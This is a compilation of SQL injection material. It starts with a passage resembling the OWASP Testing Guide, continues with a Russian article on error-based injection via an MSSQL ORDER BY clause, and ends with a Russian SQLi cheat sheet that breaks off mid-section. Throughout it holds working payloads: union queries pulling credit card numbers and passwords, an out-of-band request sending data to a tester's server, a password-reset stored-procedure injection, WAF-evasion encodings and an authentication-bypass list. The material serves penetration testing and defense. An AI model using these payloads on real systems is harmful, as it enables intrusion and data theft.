The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote ' or a semicolon ; to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

Also comment delimiters (-- or /* */, etc) and other SQL keywords like AND and OR can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Monitor all the responses from the web server and have a look at the HTML/JavaScript source code. Sometimes the error is present inside them but for some reason (e.g. JavaScript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple ‘500 Server Error’ or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

Standard SQL Injection Testing

Classic SQL Injection

Consider the following SQL query:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

$username = 1' or '1' = '1

$password = 1' or '1' = '1

The query will be:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we’ll carry out will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.

In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.

Another example of query is the following:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is *. In Oracle the symbol is --. This said, the values that we’ll use as Username and Password are:

$username = 1' or '1' = '1'))/*

$password = foo

In this way, we’ll get the following query:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator LIMIT <num>, where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/*

$password = foo

In this way, we create a request like the follow:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo

SELECT Statement

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

http://www.example.com/product.php?id=10 AND 1=1

Stacked Queries

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

A way to exploit the above scenario would be:

http://www.example.com/product.php?id=10; INSERT INTO users (…)

This way is possible to execute many queries in a row and independent of the first query.

Fingerprinting the Database

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

Errors Returned by the Application

The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:

MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near ''' at line 1

One complete UNION SELECT with version() can also help to know the back end database.

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:

  • MySql: ‘test’ + ‘ing’
  • SQL Server: ‘test’ ‘ing’
  • Oracle: ‘test’||’ing’
  • PostgreSQL: ‘test’||’ing’

Exploitation Techniques

Union Exploitation Technique

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following $id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

http://www.example.com/product.php?id=10 ORDER BY 10--

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

Unknown column '10' in 'order clause'

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

If the query fails, the tester will probably see a message like:

All cells in a column must have the same datatype

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

Boolean Exploitation Technique

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

http://www.example.com/index.php?id=1'

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

  • SUBSTRING (text, start, length): returns a substring starting from the position «start» of text and of length «length». If «start» is greater than the length of text, the function returns a null value.

  • ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.

  • LENGTH (text): it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

That creates the following query (from now on, we will call it «inferential query»):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:

$Id=1' AND '1' = '2

Which will create the following query:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven’t dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field Id:

$Id=1' AND LENGTH(username)=N AND '1' = '1

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

Error Based Exploitation Technique

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the user. When the database looks for a hostname with the user database name, it will fail and return an error message like:

ORA-292257: host SCOTT unknown

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

Out of Band Exploitation Technique

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be:

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to testerserver and make a HTTP GET request containing the return from the query SELECT user FROM DUAL. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

Time Delay Exploitation Technique

The time delay exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following SQL Server Stored Procedure:

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  =Select 1 from users
Where username =+ @username +and passwd =+ @passwd
exec(@sqlstring)
Go

User input:

anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.

This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.

Consider the following SQL Server Stored Procedure:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  =Select+ @columnamelist +from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

Automated Exploitation

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap

SQL Injection Signature Evasion Techniques

The techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs). Also refer to https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

Whitespace

Dropping space or adding spaces that won’t affect the SQL statement. For example

Adding special character like new line or tab that won’t change the SQL statement execution. For example,

Null Bytes

Use null byte (%00) prior to any characters that the filter is blocking.

For example, if the attacker may inject the following SQL

' UNION SELECT password FROM Users WHERE username='admin'--

to add Null Bytes will be

%00' UNION SELECT password FROM Users WHERE username='admin'--

SQL Comments

Adding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter. Take this SQL injection as example.

' UNION SELECT password FROM Users WHERE name='admin'--

Adding SQL inline comments will be.

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--

URL Encoding

Use the online URL encoding to encode the SQL statement

' UNION SELECT password FROM Users WHERE name='admin'--

The URL encoding of the SQL injection statement will be

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--

Character Encoding

Char() function can be used to replace English char. For example, char(114,111,111,116) means root

' UNION SELECT password FROM Users WHERE name='root'--

To apply the Char(), the SQL injeciton statement will be

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

String Concatenation

Concatenation breaks up SQL keywords and evades filters. Concatenation syntax varies based on database engine. Take MS SQL engine as an example

select 1

The simple SQL statement can be changed as below by using concatenation

EXEC('SEL' + 'ECT 1')

Hex Encoding

Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char. For example, root can be represented as 726F6F74

Select user from users where name = 'root'

The SQL statement by using HEX value will be:

Select user from users where name = 726F6F74

or

Select user from users where name = unhex('726F6F74')

Declare Variables

Declare the SQL injection statement into variable and execute it.

For example, SQL injection statement below

Union Select password

Define the SQL statement into variable SQLivar

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)

Alternative Expression of ‘or 1 = 1’

OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' &gt; 'S'
or 20 &gt; 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1

Remediation

  • To secure the application from SQL injection vulnerabilities, refer to the SQL Injection Prevention CheatSheet.
  • To secure the SQL server, refer to the Database Security CheatSheet.

For generic input validation security, refer to the Input Validation CheatSheet.

Tools

  • SQL Injection Fuzz Strings (from wfuzz tool) — Fuzzdb
  • sqlbftools
  • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool
  • Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool

References

  • Top 10 2017-A1-Injection
  • SQL Injection

Technology specific Testing Guide pages have been created for the following DBMSs:

  • Oracle
  • MySQL
  • SQL Server
  • PostgreSQL
  • MS Access
  • NoSQL
  • ORM
  • Client-side

Whitepapers

  • Victor Chapela: «Advanced SQL Injection»
  • Chris Anley: «More Advanced SQL Injection»
  • David Litchfield: «Data-mining with SQL Injection and Inference»
  • Imperva: «Blinded SQL Injection»
  • Ferruh Mavituna: «SQL Injection Cheat Sheet»
  • Kevin Spett from SPI Dynamics: «SQL Injection»
  • Kevin Spett from SPI Dynamics: «Blind SQL Injection»
  • «ZeQ3uL» (Prathan Phongthiproek) and «Suphot Boonchamnan»: «Beyond SQLi: Obfuscate and Bypass»
  • Adi Kaploun and Eliran Goshen, Check Point Threat Intelligence & Research Team: «The Latest SQL Injection Trends»

Documentation on SQL Injection Vulnerabilities in Products

  • Anatomy of the SQL injection in Drupal’s database comment filtering system SA-CORE-2015-003

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера

Автор: Manish Kishan Tanwar

Введение

Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.

Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.

Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».

С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.

Схема эксплуатации

Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.

Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».

Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.

Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.

Перечень функций, при помощи которых доступна реализация похожих сценариев:

  • convert ()

  • file_name ()

  • db_name()

  • col_name()

  • filegroup_name()

  • object_name()

  • schema_name()

  • type_name()

  • cast()

Пример

Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;amp;order=column_name

Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:

Select table_name,column_name from information_schema.columns order by column_name

Примеры инъекций с функцией convert()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;order=convert(int,@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции convert 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=CONVERT(int,(select top(1) table_name from information_schema.columns))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Рисунок 3: Пример SQL-инъекции для извлечения имени колонки с использованием функции convert

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert

Примеры инъекций с функцией file_name()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(@@version)

Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции file_name

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=file_name(select top(1) table_name from information_schema.columns)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)

Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= file_name((select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name

Благодарности

Выражаю особую благодарность IndiShell Crew и Myhackerhouse.

Типы SQLi

Существует 5 основных типов SQL инъекций:

  1. Классическая (In-Band или Union-based). Самая опасная и редко встречающаяся сегодня атака. Позволяет сразу получать любые данные из базы.
  2. Error-based. Позволяет получать информацию о базе, таблицах и данных на основе выводимого текста ошибки СУБД.
  3. Boolean-based. Вместо получения всех данных, атакующий может поштучно их перебирать, ориентируясь на простой ответ типа true/false.
  4. Time-based. Похожа на предыдущую атаку принципом перебора, манипулируя временем отклика базы.
  5. Out-of-Band. Очень редкие и специфические типы атак, основанные на индивидуальных особенностях баз данных.

Далее мы разберем их детальней.

Уязвимые точки

Уязвимые точки для атаки находятся в местах, где формируется запрос к базе: форма аутентификации, поисковая строка, каталог, REST-запросы и непосредственно URL.

Защита от SQLi

Для каждого сервера и фреймворка есть свои тонкости и лучшие практики, но суть всегда одинакова.

Нельзя вставлять данные в запрос напрямую. Всегда обрабатывайте ввод отдельно и формируйте запрос исключительно из безопасных значений.

Создавайте белые списки: их значительно труднее обойти, чем черные. Все названия таблиц, полей и баз должны быть заданы конкретными значениями в вашей программе. Это касается и операторов.

Естественно, не забывайте про ограничение прав доступа к базе.

Тем не менее, кибербезопасность – это тот случай, когда понимание принципов нападения – лучший способ защиты.

Классические атаки

Самый простой пример критически уязвимого для SQLi кода выглядит следующим образом:

Взламываем сайты: шпаргалка по SQL инъекциям

        userName = getRequestString("UserName");
request = "SELECT * FROM Users WHERE UserName = " + userName;
    

Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.

Комментирование

Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’— позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.

        SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    

Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:

        DROP/*some comment*/sampletable
DR/**/OP/*random comment to cheat*/sampletable

    

А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:

        /*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL.
Можно даже ограничить минимальную версию*/

такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии
SELECT /*!!50100 1/0, */ 1 FROM tablename 


    

Манипуляции со строками

Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:

        #SQL Server
SELECT login + '-' + password FROM members
#MySQL
SELECT CONCAT(login, password) FROM members
    

В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:

        //0x633A5C626F6F742E696E69 == c:boot.ini
SELECT CONCAT('0x','633A5C626F6F742E696E69'))

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
    

Обход аутентификации

Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:

        ' or 1=1
' or 1=1--
' or 1=1#
' or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
    

Union injection

UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.

Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.

        SELECT name, price FROM products UNION ALL SELECT name, pass FROM members 

#Такой запрос позволит получить данные о таблицах и найти таблицу пользователей
UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables)
    

Последовательные запросы

